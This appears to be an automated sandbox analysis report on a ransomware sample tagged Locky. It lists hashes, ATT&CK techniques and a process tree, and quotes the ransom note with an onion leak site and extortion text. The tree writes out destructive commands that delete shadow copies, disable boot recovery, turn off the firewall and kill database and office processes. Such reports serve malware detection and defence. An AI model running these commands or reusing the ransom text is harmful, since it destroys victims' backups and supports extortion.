locky | b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe

Analysis

max time kernel
142s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
18-09-2023 18:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe
Size

169KB
MD5

98562209465bec53327e65649a2b8829
SHA1

3a47656ed3df213bd934aa01078a863568fe9f2b
SHA256

b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe
SHA512

c11ce14f9cb75df2bc9bd81971c1f8fa885815715f389eb8e796e0f657de59756b36a6f896c216a03c7be7bb3ddff9b8a47aee71146760e4f4d9c6bdc0ff2cc3
SSDEEP

3072:iFgiMd04bHHr/QFDtaruNyXgs7WL61fXbEiVkYELY2P+gA/PF:UE3bHL/ngsu61kYELNmhF

Score

10^/10

locky evasion ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Favorites\!!Read_Me.C16A8.html

Ransom Note

<!DOCTYPE html><h1>#ALL YOUR FILES ARE ENCRYPTED AND STOLEN BY RAGNAROK</h1>Dear Sir Your files are encrypted with RSA4096 and AES encryption algorithm. But don't worry, you can return all your files!! follow the instructions to recover your files Cooperate with us and get the decrypter program as soon as possible will be your best solution. Only our software can decrypt all your encrypted files. What guarantees you have? We take our reputation seriously. We reject any form of deceptionYou can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain any valuable information. When hiring third-party negotiators or recovery companies. listen to what they tell you. try to think. Are they really interested in solving your problems or are they just thinking about their profit and ambitions? By the way.We have stolen lots of your company and your private data which includes doc,xls,pdf,jpg,mdf,sql,pst... Here we upload sample files of your company and your private data on our blog : http://wobpitin77vdsdiswr43duntv6eqw4rvphedutpaxycjdie6gg3binad.onion We promise that if you don't pay within a week, we will package and publish all of your company and your data on our website. We also promise we can decrypt all of your data and delete all your files on internet after your payment. Such leaks of information lead to losses for the company. fines and lawsuits. And don't forget that information can fall into the hands of competitors! For us this is just business and to prove to you our seriousness. Our e-mail: [email protected] Reserve e-mail: [email protected] [email protected] Device ID: AAwXyUjLw4yNyEjLwEDLTR1TYZVTSRELDdDN5Y0M2QkMzgDOGFDM2kDOyQUOzYDN2AzNFJjMzATRCRTRBNkMCVTMzEERzADO1cDN4ADOCZjN3IURxMUNEJjQxQUREhjQEhjQFRkR2YUM5cjQwQzNEZ0QDVUQ5YDMEZTN5UUO0EERDljQ4QzQ4MkN5QUQ4IDO5YkMxMzQwEDM4UEODNTM3MzQzUjNwUEM1IDM4QDRDhjMBZTN1ADO1cjQGFUO1YTNGNTN1EURBJTQFBTO5MEMFhzMEF0N2IUM4AjR1MER5QkRFBTRxkDRENDO5IDR5ATN0QjRFVzNDJzM0cTO3kjN5EDNBJjNDVDMDlDRCZ0M5AjQFdjQ1czNDFzMzQTQ2kTMyY0QBFzMFhDM0AjM1EkNEBzN0cjMCFEMERzNENjRxgDO0YzM2gjRFFUMDRUNwAjQ2ITRyEkM4MTRBVDM0MjM1EzMERUQEF0MEhDOCFEN3czMzMDODNUM0MjRElTO5kzQDljNFVEMzQUODhzNBV0MxIzM0UkR3YjRBREMDV0N0IEMDNTMzIUMDNkNyUTNyYUODlzMFdzNDZTN4IzQ2AjNzE0M2YjM3UDREVTQGNjMyAjRxETRzUEOCRkRDZENykjR4YDNDhzNGZkR3UUNzADN0UUNFBDRxQTMClTN2MEO1YEODJkQygDR3QEM5IEOBVDNDdDOEJ0QDJUO5QUN1UzMxYDN5MUNFdTNCVDRDdTODZDOzYUMChjRCNDRCdDOyEUNCNDR1cjQ4gTRFRzQDZTRxkjMyYzQCdDR3QTRGBTR3ITMwIDRBVERFZjR5QjN0cTNFBTQwIzQGZDMzYjMBFDOFR0NxQEN3IUM0EDRzMTM5UkR3kDOCVUQwUjM0IjQ4M0QGFEN0YDODZkRGBjNxITMEZ0MxAjNwMkRyMTOwYzQ1QTO4UTOwUUQygjRzUUNDJDR3ETM4QjRGNzNwcDOyUjRwUTNyYTMDRkNERUR2kDOwYDR1kjMCF0Q1cTR3YkN2IzM5YTOzQzQwM0MGJTMBRDOBZTNDJUR3cTNFdjR0gjM2AzNCdTRzgjN0MkN1czQzMkN3QDMBFURENkM3QEMzU0NzQzMzkTOwMkQ5gTR5Q0NCFkQzYUO3ATRDNzQ2QjNwEkQDJDODdjRGlTMBFUOyUTOzkzN3cTMxEzN0QENFdTO0UDOGlTRzEjR3MDMGBjN1IUQClzMwQzMxMjRDJUR5IDM1YzQFF0QBREM2Q0NzIzMwM0MyQkRGVjRFVzMElzNwczQzQTMBNkM4M0MzYUQyQTQyQTQFFDM4IER5ITNwQDM5EzQ0EjQCN0NzYDNDNEODZDM4cDNyYENFN0QDJDNwQTOCVUQ0UjNzQUREFzN5cTNDFURGRDOGFzMzwSQ3QURwATR3IkNDhzQEZDOycTN1E0NDVTRGNTR2kTM3UjQ1UkMGBjMwYzMwgjQyEDM4UEMDlTM1YDR3gjMCNzMxkTM3kjMygTRzcjQ2kzN5gjRFZEMwEUO1IzNxkzNERDRyEENCNzMBJUR5MkQ4YTRwIUO4MzNzUUO5kTQGdDO5ADREhzNygjNxUDOBhDNxYkRBJ0MGR0QBRkR1UUN5gjMCRERyATOGVTMxkzQyADR2ADR1E0MEZEO2kDO2YjMxY0Q5ADNyETM3QTMEVUN1YTNyEjN2UER3IzQwYDN1QTMzYTOFVEM0UTM3ITRCRjN4QjM3kTQGJTQCJDNxkDR5AjN3AjNwATMEFTNEljMwEUO2ADM0gTMwIUOCNUOGFER1EDRyEzMwEEMEJTN3UzQCJEM4YEODhjRGFURDdjR5MkR5IkN0QENxQEOBVkNDFURxkDOwEkQ2MTQxMUNEFEODBzNDdTR3IkN2IUO4cTMwUzN2kjNygjQ5EkM3E0N4UjR2QUMyU0N3EERwYzQ5IkNxIkMFFDRwcDOxUzQ2kjR2UUQyYDN4MURBFDOwUkRxQjN3ATMwkTNDlTNFJkQyIjREREOwU0M1AjR3kzQEFTR4cTO5ATQEFkQCNERGJkNwQDRDV0Q2M0NBdTOwkjR2QTQzczM2cDNyQkQ5cTRwEjNyMTN4QUOyUTQyYEO3YTNzYkNxUEO5gjQEVTO1ITQ5YURDJEMzIEOzQkRGFTMEFUQElTNCBjMwIEMCJkR5kjN1cjN2MTM0YTM0ETRyYTOEBzQxETO3ITO2EDO1ETQ0E0NGVDOGRkRFFEMENDRFF0NDhTRyYTNGFkM0IkMxI0NyQjN1ETNGljRGVTM0kDMBJUQGhTQGFDODVjQ1YENyYTNDNUREdjNGBTQCBzNCFDRzgDM2cTRwkjNxM0NCJTQFRjQwEjQ3E0QwIENxEUMxUkRxgjM3IEMDVjQFVkM4gjQGdTQDdjN3ADRxIkQGdjMClTNCZ0N3UjNBRENGhjNyMzNGFUR3E0NxEEN1ADMBVDO2IEMzgTQ3MzQCVjRElDO3IUQCFDO4kDNCdzN2EUQ4YjM5cDMCRDMCBzQDV0NFlTO0MEO5UkMEFEN1ATRGhjR4UEOFJTM0QzN4I0QxYjQGF0N5ATNyUkQ3EUNyQUQDRzQwQURDNUN0EUNBNTO1IUMBNkNFZERzEzQ2MkR0ETO0QDMDhjM5MTMFlDOBZzNFJUR1MTMEZURDBDRzkzNEFDOxkjNxYjQ0U0NwkTMDBjQ3UDRxUkMBhzQDhDR3QTRDZEOCZ0QyUTODRUR4QURBVUR3ETM3MTOBFUO3EjN3QkQ5gDRGNzQ2gDNDBjNCR0Q5QjMBJzN5IUO

Emails

[email protected]

e-mail: [email protected] [email protected] Device

Signatures

Locky
Ransomware strain released in 2016, with advanced features like anti-analysis.
ransomware locky
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exebcdedit.exe

pid process

4976 bcdedit.exe
5104 bcdedit.exe
Renames multiple (137) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Processes:

netsh.exe

pid process

1860 netsh.exe

pid	process
4976	bcdedit.exe
5104	bcdedit.exe

pid	process
1860	netsh.exe

Drops file in Program Files directory 1 IoCs

Processes:

b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe

description	ioc	process
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_x64__8wekyb3d8bbwe\Configuration\configuration.sqlite	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe

Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

4004 vssadmin.exe

pid	process
4004	vssadmin.exe

Kills process with taskkill 13 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
1364	taskkill.exe
4800	taskkill.exe
2284	taskkill.exe
2260	taskkill.exe
2916	taskkill.exe
4628	taskkill.exe
336	taskkill.exe
3224	taskkill.exe
2748	taskkill.exe
216	taskkill.exe
3624	taskkill.exe
2476	taskkill.exe
2104	taskkill.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

408 PING.EXE

pid	process
408	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe

pid	process
2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe
2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe

Suspicious use of AdjustPrivilegeToken 58 IoCs

Processes:

WMIC.exevssvc.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2388	WMIC.exe
Token: SeSecurityPrivilege	2388	WMIC.exe
Token: SeTakeOwnershipPrivilege	2388	WMIC.exe
Token: SeLoadDriverPrivilege	2388	WMIC.exe
Token: SeSystemProfilePrivilege	2388	WMIC.exe
Token: SeSystemtimePrivilege	2388	WMIC.exe
Token: SeProfSingleProcessPrivilege	2388	WMIC.exe
Token: SeIncBasePriorityPrivilege	2388	WMIC.exe
Token: SeCreatePagefilePrivilege	2388	WMIC.exe
Token: SeBackupPrivilege	2388	WMIC.exe
Token: SeRestorePrivilege	2388	WMIC.exe
Token: SeShutdownPrivilege	2388	WMIC.exe
Token: SeDebugPrivilege	2388	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2388	WMIC.exe
Token: SeRemoteShutdownPrivilege	2388	WMIC.exe
Token: SeUndockPrivilege	2388	WMIC.exe
Token: SeManageVolumePrivilege	2388	WMIC.exe
Token: 33	2388	WMIC.exe
Token: 34	2388	WMIC.exe
Token: 35	2388	WMIC.exe
Token: 36	2388	WMIC.exe
Token: SeBackupPrivilege	5096	vssvc.exe
Token: SeRestorePrivilege	5096	vssvc.exe
Token: SeAuditPrivilege	5096	vssvc.exe
Token: SeIncreaseQuotaPrivilege	2388	WMIC.exe
Token: SeSecurityPrivilege	2388	WMIC.exe
Token: SeTakeOwnershipPrivilege	2388	WMIC.exe
Token: SeLoadDriverPrivilege	2388	WMIC.exe
Token: SeSystemProfilePrivilege	2388	WMIC.exe
Token: SeSystemtimePrivilege	2388	WMIC.exe
Token: SeProfSingleProcessPrivilege	2388	WMIC.exe
Token: SeIncBasePriorityPrivilege	2388	WMIC.exe
Token: SeCreatePagefilePrivilege	2388	WMIC.exe
Token: SeBackupPrivilege	2388	WMIC.exe
Token: SeRestorePrivilege	2388	WMIC.exe
Token: SeShutdownPrivilege	2388	WMIC.exe
Token: SeDebugPrivilege	2388	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2388	WMIC.exe
Token: SeRemoteShutdownPrivilege	2388	WMIC.exe
Token: SeUndockPrivilege	2388	WMIC.exe
Token: SeManageVolumePrivilege	2388	WMIC.exe
Token: 33	2388	WMIC.exe
Token: 34	2388	WMIC.exe
Token: 35	2388	WMIC.exe
Token: 36	2388	WMIC.exe
Token: SeDebugPrivilege	2748	taskkill.exe
Token: SeDebugPrivilege	3224	taskkill.exe
Token: SeDebugPrivilege	216	taskkill.exe
Token: SeDebugPrivilege	3624	taskkill.exe
Token: SeDebugPrivilege	336	taskkill.exe
Token: SeDebugPrivilege	2260	taskkill.exe
Token: SeDebugPrivilege	2916	taskkill.exe
Token: SeDebugPrivilege	2284	taskkill.exe
Token: SeDebugPrivilege	1364	taskkill.exe
Token: SeDebugPrivilege	4800	taskkill.exe
Token: SeDebugPrivilege	2476	taskkill.exe
Token: SeDebugPrivilege	2104	taskkill.exe
Token: SeDebugPrivilege	4628	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 2928 wrote to memory of 1688	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 1688	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4048	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4048	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4352	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4352	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 1812	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 1812	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 2452	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 2452	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2452 wrote to memory of 1860	2452	cmd.exe	netsh.exe
PID 2452 wrote to memory of 1860	2452	cmd.exe	netsh.exe
PID 1688 wrote to memory of 4004	1688	cmd.exe	vssadmin.exe
PID 1688 wrote to memory of 4004	1688	cmd.exe	vssadmin.exe
PID 4352 wrote to memory of 5104	4352	cmd.exe	bcdedit.exe
PID 4352 wrote to memory of 5104	4352	cmd.exe	bcdedit.exe
PID 1812 wrote to memory of 4976	1812	cmd.exe	bcdedit.exe
PID 1812 wrote to memory of 4976	1812	cmd.exe	bcdedit.exe
PID 4048 wrote to memory of 2388	4048	cmd.exe	WMIC.exe
PID 4048 wrote to memory of 2388	4048	cmd.exe	WMIC.exe
PID 2928 wrote to memory of 4984	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4984	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4984	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4816	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4816	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4816	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 2648	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 2648	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 2648	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 648	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 648	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 648	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 2256	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 2256	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 2256	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4496	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4496	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4496	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 2640	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 2640	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 2640	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4996	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4996	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4996	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4240	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4240	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4240	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 3844	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 3844	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 3844	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4584	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4584	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4584	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 2612	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 2612	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 2612	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4060	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4060	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2928 wrote to memory of 4060	2928	b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe	cmd.exe
PID 2256 wrote to memory of 216	2256	cmd.exe	taskkill.exe
PID 2256 wrote to memory of 216	2256	cmd.exe	taskkill.exe
PID 2256 wrote to memory of 216	2256	cmd.exe	taskkill.exe
PID 648 wrote to memory of 2748	648	cmd.exe	taskkill.exe
PID 648 wrote to memory of 2748	648	cmd.exe	taskkill.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe
"C:\Users\Admin\AppData\Local\Temp\b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe"
1⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2928
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1688
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4004
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c netsh advfirewall set allprofiles state off
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2452
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:1860
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /set {current} recoveryenabled no
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1812
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4976
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4352
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5104
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c wmic shadowcopy delete /nointeractive
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4048
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2388
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im mys*
  2⤵
  PID:4060
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im mys*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3624
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im post*
  2⤵
  PID:2612
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im post*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2104
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im vee*
  2⤵
  PID:4584
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im vee*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2284
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im python*
  2⤵
  PID:3844
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im python*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2916
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im java*
  2⤵
  PID:4240
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im java*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2476
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im apache*
  2⤵
  PID:4996
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im apache*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3224
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im tomcat*
  2⤵
  PID:2640
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im tomcat*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:336
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im sql*
  2⤵
  PID:4496
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sql*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2260
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im Exchange*
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2256
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Exchange*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:216
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im excel*
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:648
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im excel*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2748
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im winword*
  2⤵
  PID:2648
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im winword*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4800
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im powerpnt*
  2⤵
  PID:4816
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im powerpnt*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4628
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im note*
  2⤵
  PID:4984
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im note*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1364
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c ping 127.0.0.1>nul & del /q C:\Users\Admin\AppData\Local\Temp\b5466ce462df16b3a29f22192b1291d70479cacf35bd5e937f35b2567da948fe_JC.exe
  2⤵
  PID:2268
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:408

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5096

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Remote System Discovery

T1018

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Favorites\!!Read_Me.C16A8.html

Filesize
4KB

MD5
81b284fed9c20fa4ab0968ac0a0d9a67

SHA1
3ad6c587482e01dff5af044288d85944ed21687f

SHA256
a5adc8ff23ca49e659cbe91bf9977eb0941e5649953779f182398913ad54256b

SHA512
25e91956d952ab7d384d89ba0c39e8200e257907a9c57d3561c7fc945e1050500248489671873f506de5b38d015a1277466ac1aa10a9c1ffcff1b0c917ed1543

Download Submit
memory/2928-0-0x0000000010000000-0x000000001001C000-memory.dmp

Filesize
112KB

Download